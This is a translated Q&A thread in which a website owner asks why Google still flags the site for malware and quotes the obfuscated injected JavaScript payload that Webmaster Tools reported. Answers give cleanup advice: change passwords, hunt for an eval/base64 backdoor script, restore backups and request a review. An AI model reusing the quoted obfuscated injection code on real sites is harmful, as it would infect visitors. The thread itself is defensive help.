【问题标题】:Malware on the site as per google but I cannot find it根据谷歌网站上的恶意软件,但我找不到它
【发布时间】:2012-05-30 07:26:11
【问题描述】:

昨天,当我访问我的一个网站时,我收到了来自谷歌的警告,说我的网站上有恶意软件。我查看了代码,确实有一些不应该存在的 javascript。我用谷歌搜索并没有发现任何有用的东西。当我回到我的网站时,该代码已经消失了,但 google(当从搜索引擎访问该网站时)和 google chrome 仍然给我一个警告,指出我的网站上有恶意软件。

我查看了网站管理员工具,他们发现很少有网页存在问题。其中之一是http://www.keramikfliesen.com/schweiz/rimini/。 Malware 下的站长工具中列出的代码是:

<script type='text/javascript'>st="no3nen0orno3pno3rxstxpno3
rxnl";Date&&(a=["a#%d]%b@%e_%c)%1<%5*%4+%9:%3^%2","%7!%0|%f~
%8?%6&"]);var b=[],c="&!^<^]$$&)&~&_&)!:$$^@$|&:&&$?$]^<^]^]
&+&~&^!*&]&*&_!+$_&^&~&~&@&:&*$_&:&_&+&*!?+~&&$?&!^<$:$:!@!?
^+^]^!^$+*^&^@!&&<!$$|&^^]&_&*!!$|++&<!+&*^@&^$_!^&*!+*+&:&]
&*$?&^$_&!&*!+*+&:&]&*$?$:$:^@&*&+^]&_&*!!$|++&<!+&*$?&^$_&!
&*!+*+&:&]&*$?$:$@!?^+$:^@&+&~&^!*&]&*&_!+$_&^&~&~&@&:&*^]&!
^<$@$$^]$$$@&*!^&^&<!|&*$?&*&+$_!+&~+!+]*+*^!+!$&:&_&!$?$:$:
$@$$^@&*!?!|&:!$&*!^^]$$$@&*&+$_!+&~+!+]*+*^!+!$&:&_&!$?$:$@
$$^@!|&<!+&?^]$~$$^@&!^^^]$$&?!+!+!|^#$~$~$$$@!^!+$_!$&*!|&)
&<&^&*$?$~&*&_^|$~&!$)$$&!$$$:$_!$&*!|&)&<&^&*$?$~&_&~^^$~&!
$)$$&*$$$:$_!$&*!|&)&<&^&*$?$~!|&*!$!?$~&!$)$$$_$$$:$@$$$~!+
&~!|^$$_&?!+&]&)$$^@!&&<!$$|&+^]$]^<$<^]&_&<!&&:&!&<!+&~!$$_
!*!^&*!$+<&!&*&_!+$_!+&~+)&~!!&*!$+^&<!^&*$?$:$_&:&_&+&*!?+~
&&$?$$&&&:!$&*&&&~!?$$$:$)&*^]$$^<$$$)&?^]&&!*&_&^!+&:&~&_$?
$:!@!]^@&?$_!|!$&~!+&~!+!:!|&*^]!@&$^#&&!*&_&^!+&:&~&_$?$:!@
!$&*!+!*!$&_$|&!^^!]$)&<^#&&!*&_&^!+&:&~&_$?$:!@!&&<!$$|&&^]
&+&~

你能帮帮我吗?我该如何应对?

非常感谢大家提前提供的帮助!

【问题讨论】:

    标签: malware


    【解决方案1】:


    • 从您的网页中删除恶意软件。
    • 立即更改您的密码。
    • 还要检查任何 XSS(跨站点脚本)和 SQL injection 漏洞。
    • 停用排名不高或来自知名来源的插件。
    • 使用安全协议。查看 StopBadware.org 的 Tips for Cleaning and Securing Your Website
    • 留意您的日志文件。
    • 及时了解最新的软件更新和补丁。

      希望对您有所帮助!

    【讨论】:

    • 一旦您确定您的网站没有任何受感染的代码和内容,您可以在谷歌上请求恶意软件审查。希望它不会再发生在你身上!
    • 但是网站现在看起来很干净,对吧?我找不到任何东西,而且我已经更改了密码。
    • 只要你已经从这些点开始,你就可以从你的 wp-admin on wrting 页面关闭远程发布。和请求恶意软件审查:在网站管理员工具主页上,选择您想要的网站。单击运行状况,然后单击恶意软件。点击申请审核。
    • 谢谢!这通常需要多长时间?
    • 更新:代码再次出现,但随即消失。我应该如何开始战斗?我不知道它是从哪里来的,刷新后它就消失了:S
    【解决方案2】:

    如果代码再次出现,则攻击者留下了一些脚本,该脚本应请求运行感染程序。通常,此脚本会接收到恶意代码的编码字符串(例如在base64 中),对其进行解码并通过eval() 执行。您应该找到这个文件(它很可能是一个 PHP 脚本)并将其删除。要找到它,请查看日志并搜索可疑请求(例如,单个 POST 请求,传输 base64 字符串是非常可疑的请求)。

    【讨论】:

      【解决方案3】:

      您的主机很可能已被自动化工具入侵(密码被盗)。 该工具通常会在 js 文件中注入一些 javascript,以便用恶意软件感染访问您页面的人。你应该:

      1. 更改您的密码。
      2. 恢复最近的受损备份。

      【讨论】:

      • 我已经这样做了。网站上还有什么问题吗?请检查,因为我找不到它。 :( 非常感谢您!
      猜你喜欢
      • 1970-01-01
      • 2015-10-27
      • 2018-10-14
      • 1970-01-01
      • 1970-01-01
      • 2013-09-09
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      相关资源
      最近更新 更多